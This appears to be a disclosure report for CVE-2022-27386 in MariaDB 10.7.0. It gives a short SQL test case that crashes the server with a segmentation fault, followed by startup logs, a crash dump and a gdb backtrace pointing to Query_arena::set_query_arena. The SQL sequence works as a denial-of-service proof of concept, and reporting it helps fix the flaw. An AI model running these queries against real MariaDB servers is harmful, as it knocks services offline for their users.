CVE-2022-27386: [MDEV-26406] A SEGV in sql/sql_class.cc

CREATE TABLE v0 ( v5 DATE , v4 TIME , v3 YEAR , v2 DATETIME , v1 TIMESTAMP ) SELECT ‘x’ , NOT TRUE IS NOT UNKNOWN ;

SAVEPOINT v0 ;

SELECT hex ( DEFAULT ( v1 ) ) FROM ( SELECT v1 FROM v0 GROUP BY v0 . v4 ) NEW ;

SELECT * FROM v0 WHERE v4 IN ( SELECT EXP ( 16422771.000000 ) FROM v0 WHERE v2 IS NOT NULL ) IS FALSE ;

SELECT * FROM v0 WHERE v3 = ‘x’ AND v2 LIKE ‘x’ ORDER BY v2 ;

SHOW COLLATION LIKE ‘x’ ;

2021-08-16 14:41:38 0 [Note] InnoDB: Compressed tables use zlib 1.2.11

2021-08-16 14:41:38 0 [Note] InnoDB: Number of pools: 1

2021-08-16 14:41:38 0 [Note] InnoDB: Using crc32 + pclmulqdq instructions

2021-08-16 14:41:38 0 [Note] mysqld: O_TMPFILE is not supported on /tmp (disabling future attempts)

2021-08-16 14:41:38 0 [Note] InnoDB: Using liburing

2021-08-16 14:41:38 0 [Note] InnoDB: Initializing buffer pool, total size = 134217728, chunk size = 134217728

2021-08-16 14:41:38 0 [Note] InnoDB: Completed initialization of buffer pool

2021-08-16 14:41:38 0 [Note] InnoDB: 128 rollback segments are active.

2021-08-16 14:41:38 0 [Note] InnoDB: Creating shared tablespace for temporary tables

2021-08-16 14:41:38 0 [Note] InnoDB: Setting file ‘./ibtmp1’ size to 12 MB. Physically writing the file full; Please wait …

2021-08-16 14:41:38 0 [Note] InnoDB: File ‘./ibtmp1’ size is now 12 MB.

2021-08-16 14:41:38 0 [Note] InnoDB: 10.7.0 started; log sequence number 42161; transaction id 14

2021-08-16 14:41:38 0 [Note] InnoDB: Loading buffer pool(s) from /home/fuboat/mariadb-tmp/mysql-default-data/ib_buffer_pool

2021-08-16 14:41:38 0 [Note] Plugin ‘FEEDBACK’ is disabled.

2021-08-16 14:41:38 0 [Note] InnoDB: Buffer pool(s) load completed at 210816 14:41:38

2021-08-16 14:41:38 0 [Note] Server socket created on IP: '0.0.0.0’.

2021-08-16 14:41:38 0 [Note] Server socket created on IP: '::’.

2021-08-16 14:41:38 0 [Note] /usr/local/mysql/bin//mysqld: ready for connections.

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/0.socket’ port: 3306 Source distribution

2021-08-16 14:41:39 0 [Note] /usr/local/mysql/bin//mysqld (initiated by: root[root] @ localhost []): Normal shutdown

2021-08-16 14:41:39 0 [Note] InnoDB: FTS optimize thread exiting.

2021-08-16 14:41:39 0 [Note] InnoDB: Starting shutdown…

2021-08-16 14:41:39 0 [Note] InnoDB: Dumping buffer pool(s) to /home/fuboat/mariadb-tmp/mysql-default-data/ib_buffer_pool

2021-08-16 14:41:39 0 [Note] InnoDB: Buffer pool(s) dump completed at 210816 14:41:39

2021-08-16 14:41:39 0 [Note] InnoDB: Removed temporary tablespace data file: “./ibtmp1”

2021-08-16 14:41:39 0 [Note] InnoDB: Shutdown completed; log sequence number 42173; transaction id 15

2021-08-16 14:41:39 0 [Note] /usr/local/mysql/bin//mysqld: Shutdown complete

2021-08-16 15:53:58 0 [Note] InnoDB: Compressed tables use zlib 1.2.11

2021-08-16 15:53:58 0 [Note] InnoDB: Number of pools: 1

2021-08-16 15:53:58 0 [Note] InnoDB: Using crc32 + pclmulqdq instructions

2021-08-16 15:53:58 0 [Note] mysqld: O_TMPFILE is not supported on /tmp (disabling future attempts)

2021-08-16 15:53:58 0 [Note] InnoDB: Using liburing

2021-08-16 15:53:58 0 [Note] InnoDB: Initializing buffer pool, total size = 134217728, chunk size = 134217728

2021-08-16 15:53:58 0 [Note] InnoDB: Completed initialization of buffer pool

2021-08-16 15:54:19 0 [Note] InnoDB: 128 rollback segments are active.

2021-08-16 15:54:19 0 [Note] InnoDB: Creating shared tablespace for temporary tables

2021-08-16 15:54:19 0 [Note] InnoDB: Setting file ‘./ibtmp1’ size to 12 MB. Physically writing the file full; Please wait …

2021-08-16 15:54:19 0 [Note] InnoDB: File ‘./ibtmp1’ size is now 12 MB.

2021-08-16 15:54:19 0 [Note] InnoDB: 10.7.0 started; log sequence number 42173; transaction id 14

2021-08-16 15:54:19 0 [Note] InnoDB: Loading buffer pool(s) from /home/fuboat/mariadb-tmp/1/ib_buffer_pool

2021-08-16 15:54:19 0 [Note] Plugin ‘FEEDBACK’ is disabled.

2021-08-16 15:54:20 0 [Note] Server socket created on IP: '0.0.0.0’.

2021-08-16 15:54:20 0 [Note] Server socket created on IP: '::’.

2021-08-16 15:54:21 0 [Note] InnoDB: Buffer pool(s) load completed at 210816 15:54:21

2021-08-16 15:54:22 0 [Note] /usr/local/mysql/bin//mysqld: ready for connections.

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/1.socket’ port: 10001 Source distribution

210816 15:54:24 [ERROR] mysqld got signal 11 ;

This could be because you hit a bug. It is also possible that this binary

or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help

diagnose the problem, but since we have already crashed,

something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB

key_buffer_size=134217728

read_buffer_size=131072

max_used_connections=1

max_threads=153

thread_count=1

It is possible that mysqld could use up to

key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory

Hope that’s ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000bd218

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong…

stack_bottom = 0x7f418124e850 thread_stack 0x5fc00

sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7f41a0afac3e]

mysys/stacktrace.c:213(my_print_stacktrace)[0x55974216a747]

sql/signal_handler.cc:222(handle_fatal_signal)[0x559741132120]

sigaction.c:0(__restore_rt)[0x7f41a04e4870]

sql/sql_class.cc:3832(Query_arena::set_query_arena(Query_arena*))[0x559740899973]

sql/field.cc:2591(Field::set_default())[0x5597410b299e]

sql/item.cc:9483(Item_default_value::val_str(String*))[0x5597411c7e03]

sql/item_strfunc.cc:3769(Item_func_hex::val_str_ascii_from_val_str(String*))[0x5597413ca802]

sql/item_strfunc.cc:99(Item_func::val_str_from_val_str_ascii(String*, String*))[0x5597413c4ec0]

sql/sql_type.cc:7455(Type_handler::Item_send_str(Item*, Protocol*, st_value*) const)[0x559740f3fc23]

sql/protocol.cc:1327(Protocol::send_result_set_row(List<Item>*))[0x55974074dccf]

sql/sql_class.cc:3072(select_send::send_data(List<Item>&))[0x5597408a32ba]

sql/sql_select.cc:22285(end_send(JOIN*, st_join_table*, bool))[0x559740b17983]

sql/sql_select.cc:21279(evaluate_join_record(JOIN*, st_join_table*, int))[0x559740a84094]

sql/sql_select.cc:21069(sub_select(JOIN*, st_join_table*, bool))[0x559740ac4fcc]

sql/sql_select.cc:20602(JOIN::exec_inner())[0x559740b69b8d]

sql/sql_select.cc:4514(JOIN::exec())[0x559740b6b593]

sql/sql_select.cc:4993(mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*, Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*))[0x559740b63b5b]

sql/sql_select.cc:545(handle_select(THD*, LEX*, select_result*, unsigned long))[0x559740b65655]

sql/sql_parse.cc:6256(execute_sqlcom_select(THD*, TABLE_LIST*))[0x5597409a8d7d]

sql/sql_parse.cc:3946(mysql_execute_command(THD*, bool))[0x5597409d2421]

sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x5597409d75a1]

sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x5597409dd60c]

sql/sql_parse.cc:1406(do_command(THD*, bool))[0x5597409e273d]

sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x559740d9de57]

sql/sql_connect.cc:1312(handle_one_connection)[0x559740d9e33d]

perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55974182ec2c]

pthread_create.c:0(start_thread)[0x7f41a04da259]

:0(__GI___clone)[0x7f41a00855e3]

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort.

Query (0x629000087238): SELECT hex ( DEFAULT ( v1 ) ) FROM ( SELECT v1 FROM v0 GROUP BY v0 . v4 ) NEW

Connection ID (thread ID): 4

Status: NOT_KILLED

Optimizer switch: index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,index_merge_sort_intersection=off,engine_condition_pushdown=off,index_condition_pushdown=on,derived_merge=on,derived_with_keys=on,firstmatch=on,loosescan=on,materialization=on,in_to_exists=on,semijoin=on,partial_match_rowid_merge=on,partial_match_table_scan=on,subquery_cache=on,mrr=off,mrr_cost_based=off,mrr_sort_keys=off,outer_join_with_cache=on,semijoin_with_cache=on,join_cache_incremental=on,join_cache_hashed=on,join_cache_bka=on,optimize_join_buffer_size=on,table_elimination=on,extended_keys=on,exists_to_in=on,orderby_uses_equalities=on,condition_pushdown_for_derived=on,split_materialized=on,condition_pushdown_for_subquery=on,rowid_filter=on,condition_pushdown_from_having=on,not_null_range_scan=off

The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains

information that should help you find out what is causing the crash.

Writing a core file…

Working directory at /home/fuboat/mariadb-tmp/1

Resource Limits:

Limit Soft Limit Hard Limit Units

Max cpu time unlimited unlimited seconds

Max file size unlimited unlimited bytes

Max data size unlimited unlimited bytes

Max stack size 8388608 unlimited bytes

Max core file size unlimited unlimited bytes

Max resident set unlimited unlimited bytes

Max processes 61608 61608 processes

Max open files 524288 524288 files

Max locked memory 65536 65536 bytes

Max address space unlimited unlimited bytes

Max file locks unlimited unlimited locks

Max pending signals 61608 61608 signals

Max msgqueue size 819200 819200 bytes

Max nice priority 0 0

Max realtime priority 0 0

Max realtime timeout unlimited unlimited us

Core pattern: core

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Reading symbols from /usr/local/mysql/bin//mysqld…

[New LWP 3402272]

[New LWP 3390160]

[New LWP 3390156]

[New LWP 3390161]

[New LWP 3390159]

[New LWP 3400198]

[New LWP 3400197]

[New LWP 3400232]

[New LWP 3400234]

[New LWP 3402269]

[New LWP 3390146]

[New LWP 3400230]

[New LWP 3400228]

[New LWP 3400229]

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/usr/lib/libthread_db.so.1".

Core was generated by `/usr/local/mysql/bin//mysqld --port 10001 --datadir=/home/fuboat/mariadb-tmp/1’.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 0x00007f41a04e1808 in pthread_kill () from /usr/lib/libpthread.so.0

[Current thread is 1 (Thread 0x7f418124f240 (LWP 3402272))]

(gdb) (gdb) #0 0x00007f41a04e1808 in pthread_kill () from /usr/lib/libpthread.so.0

#1 0x000055974113206b in handle_fatal_signal (sig=<optimized out>) at /experiment/mariadb-server/sql/signal_handler.cc:344

#2 <signal handler called>

#3 0x0000559740899973 in Query_arena::set_query_arena (this=0x62b0000bd230, set=0x0) at /experiment/mariadb-server/sql/sql_class.cc:3832

#4 0x000055974089a15a in THD::set_n_backup_active_arena (this=<optimized out>, set=<optimized out>, backup=backup@entry=0x7f418124b2a0) at /experiment/mariadb-server/sql/sql_class.cc:3920

#5 0x00005597410b299e in Field::set_default (this=0x6290000a03c0) at /experiment/mariadb-server/sql/field.cc:2590

#6 0x00005597411c7e03 in Item_default_value::val_str (this=0x629000087908, str=0x629000087b50) at /experiment/mariadb-server/sql/item.cc:9482

#7 0x00005597413ca802 in Item_func_hex::val_str_ascii_from_val_str (this=0x629000087a88, str=0x7f418124b550) at /experiment/mariadb-server/sql/item_strfunc.cc:3767

#8 0x00005597413c4ec0 in Item_func::val_str_from_val_str_ascii (this=0x629000087a88, str=0x7f418124b550, ascii_buffer=<optimized out>) at /experiment/mariadb-server/sql/item_strfunc.cc:98

#9 0x0000559740f3fc23 in Type_handler::Item_send_str (this=<optimized out>, item=<optimized out>, protocol=0x62b0000bd778, buf=<optimized out>) at /experiment/mariadb-server/sql/sql_type.cc:7455

#10 0x000055974074dccf in Protocol::send_result_set_row (this=this@entry=0x62b0000bd778, row_items=row_items@entry=0x6290000875e0) at /experiment/mariadb-server/sql/protocol.cc:1327

#11 0x00005597408a32ba in select_send::send_data (this=0x62900008a378, items=…) at /experiment/mariadb-server/sql/sql_class.cc:3072

#12 0x0000559740b17983 in select_result_sink::send_data_with_check (u=<optimized out>, sent=<optimized out>, items=…, this=<optimized out>) at /experiment/mariadb-server/sql/sql_class.h:5633

#13 select_result_sink::send_data_with_check (sent=<optimized out>, u=<optimized out>, items=…, this=<optimized out>) at /experiment/mariadb-server/sql/sql_class.h:5623

#14 end_send (join=0x62900008a3a8, join_tab=0x6290000a35a8, end_of_records=<optimized out>) at /experiment/mariadb-server/sql/sql_select.cc:22285

#15 0x0000559740a84094 in evaluate_join_record (join=0x62900008a3a8, join_tab=0x6290000a31f8, error=<optimized out>) at /experiment/mariadb-server/sql/sql_select.cc:21278

#16 0x0000559740ac4fcc in sub_select (join=0x62900008a3a8, join_tab=0x6290000a31f8, end_of_records=false) at /experiment/mariadb-server/sql/sql_select.cc:21055

#17 0x0000559740b69b8d in do_select (procedure=0x0, join=0x62900008a3a8) at /experiment/mariadb-server/sql/sql_select.cc:20602

#18 JOIN::exec_inner (this=0x62900008a3a8) at /experiment/mariadb-server/sql/sql_select.cc:4735

#19 0x0000559740b6b593 in JOIN::exec (this=this@entry=0x62900008a3a8) at /experiment/mariadb-server/sql/sql_select.cc:4513

#20 0x0000559740b63b5b in mysql_select (thd=0x62b0000bd218, tables=<optimized out>, fields=…, conds=<optimized out>, og_num=0, order=0x0, group=0x0, having=0x0, proc_param=0x0, select_options=<optimized out>, result=0x62900008a378, unit=0x62b0000c13c0, select_lex=0x629000087340)

at /experiment/mariadb-server/sql/sql\_select.cc:4991

#21 0x0000559740b65655 in handle_select (thd=thd@entry=0x62b0000bd218, lex=lex@entry=0x62b0000c12f8, result=result@entry=0x62900008a378, setup_tables_done_option=setup_tables_done_option@entry=0) at /experiment/mariadb-server/sql/sql_select.cc:545

#22 0x00005597409a8d7d in execute_sqlcom_select (thd=0x62b0000bd218, all_tables=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:6256

#23 0x00005597409d2421 in mysql_execute_command (thd=0x62b0000bd218, is_called_from_prepared_stmt=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:3946

#24 0x00005597409d75a1 in mysql_parse (thd=0x62b0000bd218, rawbuf=<optimized out>, length=<optimized out>, parser_state=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:8030

#25 0x00005597409dd60c in dispatch_command (command=<optimized out>, thd=0x62b0000bd218, packet=<optimized out>, packet_length=<optimized out>, blocking=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:1896

#26 0x00005597409e273d in do_command (thd=0x62b0000bd218, blocking=blocking@entry=true) at /experiment/mariadb-server/sql/sql_parse.cc:1404

#27 0x0000559740d9de57 in do_handle_one_connection (connect=<optimized out>, put_in_cache=<optimized out>) at /experiment/mariadb-server/sql/sql_connect.cc:1418

#28 0x0000559740d9e33d in handle_one_connection (arg=arg@entry=0x6080000023b8) at /experiment/mariadb-server/sql/sql_connect.cc:1312

#29 0x000055974182ec2c in pfs_spawn_thread (arg=0x617000005f18) at /experiment/mariadb-server/storage/perfschema/pfs.cc:2201

#30 0x00007f41a04da259 in start_thread () from /usr/lib/libpthread.so.0

#31 0x00007f41a00855e3 in clone () from /usr/lib/libc.so.6

(gdb) quit